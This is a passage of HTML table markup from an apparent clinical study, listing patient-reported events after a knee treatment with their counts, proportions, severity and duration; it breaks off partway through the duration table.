style=\"width:40.0pt\">\r\n			<p style=\"text-align:center\">1</p>\r\n			</td>\r\n			<td style=\"width:69.0pt\">\r\n			<p style=\"text-align:center\">2.4%</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:2.5in\">\r\n			<p style=\"text-align:center\">Sensation of distension</p>\r\n			</td>\r\n			<td style=\"width:40.0pt\">\r\n			<p style=\"text-align:center\">15</p>\r\n			</td>\r\n			<td style=\"width:69.0pt\">\r\n			<p style=\"text-align:center\">36.6%</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:2.5in\">\r\n			<p style=\"text-align:center\">Skin or joint pricking sensation</p>\r\n			</td>\r\n			<td style=\"width:40.0pt\">\r\n			<p style=\"text-align:center\">3</p>\r\n			</td>\r\n			<td style=\"width:69.0pt\">\r\n			<p style=\"text-align:center\">7.3%</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:2.5in\">\r\n			<p style=\"text-align:center\">Numbness</p>\r\n			</td>\r\n			<td style=\"width:40.0pt\">\r\n			<p style=\"text-align:center\">1</p>\r\n			</td>\r\n			<td style=\"width:69.0pt\">\r\n			<p style=\"text-align:center\">2.4%</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:2.5in\">\r\n			<p style=\"text-align:center\">Cold sensation</p>\r\n			</td>\r\n			<td style=\"width:40.0pt\">\r\n			<p style=\"text-align:center\">1</p>\r\n			</td>\r\n			<td style=\"width:69.0pt\">\r\n			<p style=\"text-align:center\">2.4%</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:2.5in\">\r\n			<p style=\"text-align:center\">Heat sensation</p>\r\n			</td>\r\n			<td style=\"width:40.0pt\">\r\n			<p style=\"text-align:center\">1</p>\r\n			</td>\r\n			<td style=\"width:69.0pt\">\r\n			<p style=\"text-align:center\">2.4%</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:2.5in\">\r\n			<p style=\"text-align:center\">Reduced range of motion</p>\r\n			</td>\r\n			<td style=\"width:40.0pt\">\r\n			<p style=\"text-align:center\">4</p>\r\n			</td>\r\n			<td style=\"width:69.0pt\">\r\n			<p style=\"text-align:center\">9.8%</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:2.5in\">\r\n			<p style=\"text-align:center\">Stiffness</p>\r\n			</td>\r\n			<td style=\"width:40.0pt\">\r\n			<p style=\"text-align:center\">2</p>\r\n			</td>\r\n			<td style=\"width:69.0pt\">\r\n			<p style=\"text-align:center\">4.9%</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:2.5in\">\r\n			<p style=\"text-align:center\">Total</p>\r\n			</td>\r\n			<td style=\"width:40.0pt\">\r\n			<p style=\"text-align:center\">41</p>\r\n			</td>\r\n			<td style=\"width:69.0pt\">\r\n			<p style=\"text-align:center\">100%</p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 2:</strong> Patient reported events</span></span></p>\r\n\r\n<p style=\"text-align:center\">&nbsp;</p>\r\n\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:500px\">\r\n	<thead>\r\n		<tr>\r\n			<th scope=\"col\" style=\"background-color:#4caf50; text-align:center; width:158.7pt\">\r\n			<p>&nbsp;</p>\r\n			</th>\r\n			<th scope=\"col\" style=\"background-color:#4caf50; text-align:center; width:40pt\">\r\n			<p><span style=\"font-size:10.0pt\">n</span></p>\r\n			</th>\r\n			<th scope=\"col\" style=\"background-color:#4caf50; text-align:center; width:59.35pt\">\r\n			<p><span style=\"font-size:10.0pt\">Proportion</span></p>\r\n			</th>\r\n			<th scope=\"col\" style=\"background-color:#4caf50; text-align:center; width:55.55pt\">\r\n			<p><span style=\"font-size:10.0pt\">Severity</span></p>\r\n			</th>\r\n			<th scope=\"col\" style=\"background-color:#4caf50; text-align:center; width:70.4pt\">\r\n			<p><span style=\"font-size:10.0pt\">n</span></p>\r\n			</th>\r\n		</tr>\r\n	</thead>\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Pain from target knee </span></p>\r\n			</td>\r\n			<td style=\"width:40.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7</span></p>\r\n			</td>\r\n			<td style=\"width:59.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">17.1%</span></p>\r\n			</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Mild</span></p>\r\n			</td>\r\n			<td style=\"width:70.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:40pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:59.35pt\">&nbsp;</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Moderate</span></p>\r\n			</td>\r\n			<td style=\"width:70.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:40pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:59.35pt\">&nbsp;</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Severe</span></p>\r\n			</td>\r\n			<td style=\"width:70.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Other pain from extremity</span></p>\r\n			</td>\r\n			<td style=\"width:40.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:59.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.4%</span></p>\r\n			</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Mild</span></p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:70.4pt\">&nbsp;</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:40pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:59.35pt\">&nbsp;</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Moderate</span></p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:70.4pt\">&nbsp;</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:40pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:59.35pt\">&nbsp;</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Severe</span></p>\r\n			</td>\r\n			<td style=\"width:70.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Muscle discomfort/pain&nbsp; </span></p>\r\n			</td>\r\n			<td style=\"width:40.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n			<td style=\"width:59.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4.9%</span></p>\r\n			</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Mild</span></p>\r\n			</td>\r\n			<td style=\"width:70.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:40pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:59.35pt\">&nbsp;</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Moderate</span></p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:70.4pt\">&nbsp;</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:40pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:59.35pt\">&nbsp;</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Severe</span></p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:70.4pt\">&nbsp;</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Soreness </span></p>\r\n			</td>\r\n			<td style=\"width:40.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3</span></p>\r\n			</td>\r\n			<td style=\"width:59.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7.3%</span></p>\r\n			</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Mild</span></p>\r\n			</td>\r\n			<td style=\"width:70.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:40pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:59.35pt\">&nbsp;</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Moderate</span></p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:70.4pt\">&nbsp;</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:40pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:59.35pt\">&nbsp;</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Severe</span></p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:70.4pt\">&nbsp;</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Burning sensation </span></p>\r\n			</td>\r\n			<td style=\"width:40.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:59.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.4%</span></p>\r\n			</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Mild</span></p>\r\n			</td>\r\n			<td style=\"width:70.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:40pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:59.35pt\">&nbsp;</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Moderate</span></p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:70.4pt\">&nbsp;</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:40pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:59.35pt\">&nbsp;</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Severe</span></p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:70.4pt\">&nbsp;</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Sensation of distension </span></p>\r\n			</td>\r\n			<td style=\"width:40.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">15</span></p>\r\n			</td>\r\n			<td style=\"width:59.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">36.6%</span></p>\r\n			</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Mild</span></p>\r\n			</td>\r\n			<td style=\"width:70.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">10</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:40pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:59.35pt\">&nbsp;</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Moderate</span></p>\r\n			</td>\r\n			<td style=\"width:70.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:40pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:59.35pt\">&nbsp;</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Severe</span></p>\r\n			</td>\r\n			<td style=\"width:70.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Skin or joint pricking sensation </span></p>\r\n			</td>\r\n			<td style=\"width:40.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3</span></p>\r\n			</td>\r\n			<td style=\"width:59.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7.3%</span></p>\r\n			</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Mild</span></p>\r\n			</td>\r\n			<td style=\"width:70.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:40pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:59.35pt\">&nbsp;</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Moderate</span></p>\r\n			</td>\r\n			<td style=\"width:70.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:40pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:59.35pt\">&nbsp;</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Severe</span></p>\r\n			</td>\r\n			<td style=\"width:70.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Numbness </span></p>\r\n			</td>\r\n			<td style=\"width:40.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:59.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.4%</span></p>\r\n			</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Mild</span></p>\r\n			</td>\r\n			<td style=\"width:70.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:40pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:59.35pt\">&nbsp;</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Moderate</span></p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:70.4pt\">&nbsp;</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:40pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:59.35pt\">&nbsp;</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Severe</span></p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:70.4pt\">&nbsp;</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Cold sensation </span></p>\r\n			</td>\r\n			<td style=\"width:40.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:59.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.4%</span></p>\r\n			</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Mild</span></p>\r\n			</td>\r\n			<td style=\"width:70.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:40pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:59.35pt\">&nbsp;</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Moderate</span></p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:70.4pt\">&nbsp;</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:40pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:59.35pt\">&nbsp;</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Severe</span></p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:70.4pt\">&nbsp;</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Heat sensation </span></p>\r\n			</td>\r\n			<td style=\"width:40.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:59.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.4%</span></p>\r\n			</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Mild</span></p>\r\n			</td>\r\n			<td style=\"width:70.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:40pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:59.35pt\">&nbsp;</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Moderate</span></p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:70.4pt\">&nbsp;</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:40pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:59.35pt\">&nbsp;</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Severe</span></p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:70.4pt\">&nbsp;</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Reduced range of motion </span></p>\r\n			</td>\r\n			<td style=\"width:40.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4</span></p>\r\n			</td>\r\n			<td style=\"width:59.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">9.8%</span></p>\r\n			</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Mild</span></p>\r\n			</td>\r\n			<td style=\"width:70.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:40pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:59.35pt\">&nbsp;</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Moderate</span></p>\r\n			</td>\r\n			<td style=\"width:70.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:40pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:59.35pt\">&nbsp;</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Severe</span></p>\r\n			</td>\r\n			<td style=\"width:70.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Stiffness </span></p>\r\n			</td>\r\n			<td style=\"width:40.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n			<td style=\"width:59.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4.9%</span></p>\r\n			</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Mild</span></p>\r\n			</td>\r\n			<td style=\"width:70.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:40pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:59.35pt\">&nbsp;</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Moderate</span></p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:70.4pt\">&nbsp;</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:158.7pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:40pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:59.35pt\">&nbsp;</td>\r\n			<td style=\"width:55.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Severe</span></p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:70.4pt\">&nbsp;</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n</div>\r\n</div>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 3:</strong> Patient-reported severity of the reported events</span></span></p>\r\n\r\n<p style=\"text-align:center\">&nbsp;</p>\r\n\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:500px\">\r\n	<thead>\r\n		<tr>\r\n			<th scope=\"col\" style=\"background-color:#002060; height:15pt; text-align:center; width:178.1pt\">&nbsp;</th>\r\n			<th scope=\"col\" style=\"background-color:#002060; text-align:center; width:39.65pt\">\r\n			<p><span style=\"color:#ffffff\"><span style=\"font-size:10.0pt\">n</span></span></p>\r\n			</th>\r\n			<th scope=\"col\" style=\"background-color:#002060; text-align:center; width:64.1pt\">\r\n			<p><span style=\"color:#ffffff\"><span style=\"font-size:10.0pt\">Proportion</span></span></p>\r\n			</th>\r\n			<th scope=\"col\" style=\"background-color:#002060; text-align:center; width:81.05pt\">\r\n			<p><span style=\"color:#ffffff\"><span style=\"font-size:10.0pt\">Duration</span></span></p>\r\n			</th>\r\n			<th scope=\"col\" style=\"background-color:#002060; text-align:center; width:80.2pt\">\r\n			<p><span style=\"color:#ffffff\"><span style=\"font-size:10.0pt\">n</span></span></p>\r\n			</th>\r\n		</tr>\r\n	</thead>\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"width:178.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Pain from target knee</span></p>\r\n			</td>\r\n			<td style=\"width:39.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7</span></p>\r\n			</td>\r\n			<td style=\"width:64.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">17.1%</span></p>\r\n			</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Days</span></p>\r\n			</td>\r\n			<td style=\"width:80.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"height:15pt; text-align:center; width:178.1pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:39.65pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:64.1pt\">&nbsp;</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Weeks</span></p>\r\n			</td>\r\n			<td style=\"width:80.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"height:15pt; text-align:center; width:178.1pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:39.65pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:64.1pt\">&nbsp;</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Months</span></p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:80.2pt\">&nbsp;</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:178.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Other pain from extremity</span></p>\r\n			</td>\r\n			<td style=\"width:39.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n	